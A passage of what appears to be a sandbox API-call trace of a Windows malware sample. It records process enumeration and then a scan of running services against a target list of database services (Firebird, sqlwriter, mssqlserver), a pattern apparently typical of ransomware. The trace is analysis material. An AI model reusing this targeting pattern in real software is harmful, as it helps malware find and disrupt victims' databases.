szExeFile="RuntimeBroker.exe")) returned 1 [0239.175] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0239.175] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0239.175] lstrlenW (lpString="winhost.exe") returned 11 [0239.175] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd00, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0239.175] lstrlenW (lpString="cmd.exe") returned 7 [0239.175] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0239.176] lstrlenW (lpString="conhost.exe") returned 11 [0239.176] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x178, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0239.176] lstrlenW (lpString="consent.exe") returned 11 [0239.176] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0239.177] lstrlenW (lpString="dllhost.exe") returned 11 [0239.177] Process32NextW (in: hSnapshot=0x564, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0239.177] CloseHandle (hObject=0x564) returned 1 [0239.177] Sleep (dwMilliseconds=0x1f4) [0239.828] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x40eb530 [0239.828] EnumServicesStatusExW (in: hSCManager=0x40eb530, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 0 [0239.829] GetLastError () returned 0xea [0239.829] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1b30) returned 0x5060088 [0239.830] EnumServicesStatusExW (in: hSCManager=0x40eb530, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5060088, cbBufSize=0x1b30, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5060088, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 1 [0239.832] CloseServiceHandle (hSCObject=0x40eb530) returned 1 [0239.833] lstrlenW (lpString="Appinfo") returned 7 [0239.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0239.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0239.833] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0239.833] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0239.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0239.833] lstrlenW (lpString="AppXSvc") returned 7 [0239.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0239.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0239.833] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0239.833] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0239.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0239.833] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0239.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0239.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0239.833] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0239.833] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0239.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0239.833] lstrlenW (lpString="Audiosrv") returned 8 [0239.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0239.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0239.833] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0239.833] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0239.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0239.833] lstrlenW (lpString="BFE") returned 3 [0239.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0239.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0239.834] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0239.834] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0239.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0239.834] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0239.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0239.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0239.834] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0239.834] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0239.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0239.834] lstrlenW (lpString="CDPSvc") returned 6 [0239.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0239.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0239.834] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0239.834] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0239.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0239.834] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0239.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0239.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0239.834] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0239.834] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0239.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0239.834] lstrlenW (lpString="CryptSvc") returned 8 [0239.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0239.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0239.834] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0239.834] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0239.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0239.834] lstrlenW (lpString="DcomLaunch") returned 10 [0239.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0239.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0239.834] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0239.834] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0239.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0239.834] lstrlenW (lpString="DeviceAssociationService") returned 24 [0239.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0239.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0239.835] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0239.835] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0239.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0239.835] lstrlenW (lpString="Dhcp") returned 4 [0239.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0239.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0239.835] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0239.835] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0239.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0239.835] lstrlenW (lpString="Dnscache") returned 8 [0239.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0239.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0239.835] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0239.835] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0239.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0239.835] lstrlenW (lpString="DPS") returned 3 [0239.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0239.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0239.835] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0239.835] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0239.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0239.835] lstrlenW (lpString="DusmSvc") returned 7 [0239.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0239.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0239.835] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0239.835] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0239.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0239.835] lstrlenW (lpString="EventLog") returned 8 [0239.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0239.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0239.835] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0239.835] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0239.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0239.835] lstrlenW (lpString="EventSystem") returned 11 [0239.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0239.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0239.836] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0239.836] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0239.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0239.836] lstrlenW (lpString="FontCache") returned 9 [0239.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0239.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0239.836] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0239.836] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0239.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0239.836] lstrlenW (lpString="gpsvc") returned 5 [0239.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0239.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0239.836] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0239.836] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0239.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0239.836] lstrlenW (lpString="iphlpsvc") returned 8 [0239.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0239.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0239.836] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0239.836] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0239.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0239.836] lstrlenW (lpString="KeyIso") returned 6 [0239.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0239.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0239.836] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0239.836] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0239.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0239.836] lstrlenW (lpString="LanmanServer") returned 12 [0239.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0239.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0239.836] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0239.836] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0239.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0239.836] lstrlenW (lpString="LanmanWorkstation") returned 17 [0239.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0239.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0239.836] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0239.836] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0239.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0239.837] lstrlenW (lpString="lfsvc") returned 5 [0239.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0239.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0239.837] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0239.837] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0239.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0239.837] lstrlenW (lpString="lmhosts") returned 7 [0239.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0239.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0239.837] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0239.837] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0239.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0239.837] lstrlenW (lpString="LSM") returned 3 [0239.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0239.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0239.837] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0239.837] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0239.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0239.837] lstrlenW (lpString="MpsSvc") returned 6 [0239.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0239.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0239.837] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0239.837] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0239.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0239.837] lstrlenW (lpString="NcbService") returned 10 [0239.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0239.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0239.837] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0239.837] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0239.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0239.837] lstrlenW (lpString="netprofm") returned 8 [0239.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0239.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0239.837] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0239.837] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0239.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0239.838] lstrlenW (lpString="NgcSvc") returned 6 [0239.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0239.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0239.838] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0239.838] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0239.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0239.838] lstrlenW (lpString="NlaSvc") returned 6 [0239.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0239.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0239.838] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0239.838] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0239.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0239.838] lstrlenW (lpString="nsi") returned 3 [0239.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0239.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0239.838] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0239.838] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0239.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0239.838] lstrlenW (lpString="PcaSvc") returned 6 [0239.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0239.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0239.838] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0239.838] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0239.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0239.838] lstrlenW (lpString="PlugPlay") returned 8 [0239.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0239.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0239.838] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0239.838] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0239.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0239.838] lstrlenW (lpString="Power") returned 5 [0239.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0239.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0239.838] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0239.838] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0239.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0239.838] lstrlenW (lpString="ProfSvc") returned 7 [0239.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0239.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0239.838] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0239.838] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0239.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0239.839] lstrlenW (lpString="RpcEptMapper") returned 12 [0239.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0239.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0239.839] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0239.839] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0239.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0239.839] lstrlenW (lpString="RpcSs") returned 5 [0239.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0239.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0239.839] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0239.839] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0239.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0239.839] lstrlenW (lpString="SamSs") returned 5 [0239.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0239.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0239.839] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0239.839] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0239.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0239.839] lstrlenW (lpString="Schedule") returned 8 [0239.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0239.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0239.839] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0239.839] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0239.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0239.839] lstrlenW (lpString="SecurityHealthService") returned 21 [0239.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0239.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0239.839] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0239.839] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0239.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0239.839] lstrlenW (lpString="SENS") returned 4 [0239.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0239.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0239.839] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0239.839] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0239.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0239.840] lstrlenW (lpString="ShellHWDetection") returned 16 [0239.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0239.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0239.840] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0239.840] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0239.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0239.840] lstrlenW (lpString="Spooler") returned 7 [0239.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0239.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0239.840] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0239.840] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0239.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0239.840] lstrlenW (lpString="StateRepository") returned 15 [0239.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0239.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0239.840] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0239.840] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0239.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0239.840] lstrlenW (lpString="SysMain") returned 7 [0239.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0239.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0239.840] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0239.840] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0239.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0239.840] lstrlenW (lpString="SystemEventsBroker") returned 18 [0239.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0239.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0239.840] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0239.840] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0239.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0239.840] lstrlenW (lpString="Themes") returned 6 [0239.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0239.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0239.840] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0239.840] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0239.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0239.840] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0239.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0239.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0239.840] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0239.841] 